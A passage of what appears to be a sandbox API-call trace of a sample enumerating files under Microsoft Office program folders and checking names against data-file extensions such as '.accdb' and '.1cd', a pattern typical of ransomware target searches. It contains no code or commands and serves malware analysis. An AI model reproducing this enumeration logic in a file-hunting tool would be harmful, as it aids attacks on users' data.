(lpString=".accdb") returned 6 [0228.968] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0228.968] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0228.968] lstrlenW (lpString="PUBWZINT.DLL") returned 12 [0228.968] lstrlenW (lpString=".1cd") returned 4 [0229.361] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0229.361] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 [0229.362] lstrlenW (lpString="ReviewRouting_Init.xsn") returned 22 [0229.362] lstrlenW (lpString=".1cd") returned 4 [0229.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0229.485] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0229.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036") returned 52 [0229.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0229.489] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0229.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082") returned 52 [0229.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0229.489] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0229.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0229.491] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0229.769] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0229.769] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0230.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0230.298] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0230.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0230.300] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0230.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0230.306] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0230.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0230.308] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0230.417] FindNextFileW (in: hFindFile=0x6cfc48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.418] FindNextFileW (in: hFindFile=0x6cfc48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x605aed7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x605aed7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6081126, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0230.418] FindNextFileW (in: hFindFile=0x6cfc48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0230.418] FindNextFileW (in: hFindFile=0x6cfc48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0230.418] FindNextFileW (in: hFindFile=0x6cfc48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0230.418] FindNextFileW (in: hFindFile=0x6cfc48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0230.418] FindClose (in: hFindFile=0x6cfc48 | out: hFindFile=0x6cfc48) returned 1 [0230.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0230.786] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0231.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.320] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1 [0231.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.369] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0231.394] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.394] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0231.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.398] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0231.407] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.407] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1 [0231.412] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.412] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0231.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.415] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0231.422] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.422] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0231.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.426] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0231.430] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.430] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0231.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.487] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0231.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.503] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0231.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.523] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1 [0231.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.527] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0231.531] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.531] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0231.536] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.536] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0231.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.542] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0231.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.547] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0231.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.551] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1 [0231.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.558] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1 [0231.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.564] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0231.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.596] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: 